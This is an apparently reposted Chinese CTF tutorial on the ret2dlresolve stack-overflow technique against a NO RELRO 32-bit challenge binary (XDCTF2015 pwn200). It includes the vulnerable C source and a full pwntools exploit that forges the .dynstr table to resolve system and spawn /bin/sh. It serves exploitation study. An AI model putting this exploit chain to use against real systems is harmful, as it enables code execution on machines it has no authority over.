[ctf wiki pwn] stackoverflow:ret2dlresolve NORELRO

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctf wiki pwn] stackoverflow:ret2dlresolve NORELRO相关的知识,希望对你有一定的参考价值。

0、.got表补遗

这是我们常说的GOT, 即Global Offset Table, 全局偏移表。这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息。不过值得注意的是, 在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:
got0:本ELF动态段(.dynamic段)的装载地址
got1:本ELF的link_map数据结构描述符地址
got2:_dl_runtime_resolve函数的地址

1、ret2dlresolve的原理

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。
由于ret2dlresolve的攻击方式与RELRO的防护机制直接相关,因此,按不同的防护机制,给出不同的利用方法。
这一块儿的预备知识请参考:与RELRO相关的三种防护机制
下面以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧,最容易的是NO RELRO的情况,这种情况由于防护机制过低,在当前和以后的题目中基本不会出现,但通过NO RELRO和partial RELRO两种防护机制利用方法的比较,能加深对ret2dlresolve知识点的理解和运用。

2、源代码

出题人给出了这道题的源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

NORELRO的编译命令为:

gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32

3、checksec

在这里插入图片描述
checksec可道道RELRO已经关闭。

4、具体思路

第一步:修改 .dynamic 节中字符串表的地址为伪造的地址。
第二步:在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
第三步:在特定的位置读取 /bin/sh 字符串。
第四步:调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。
具体过程见下图:
在这里插入图片描述

5、exp

from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\\n')

offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\\x00")) # read /bin/sh\\x00
rop.raw(0x08048376) # the second instruction of read@plt 
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\\x00")
p.interactive()

以上是关于[ctf wiki pwn] stackoverflow:ret2dlresolve NORELRO的主要内容,如果未能解决你的问题,请参考以下文章

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[ctf wiki pwn] stackoverflow:hctf2016-brop wp

[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode

[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall

[CTF Wiki Pwn]Stackoverflow Lab001: ret2text

[CTF Wiki Pwn]Stackoverflow: ret2reg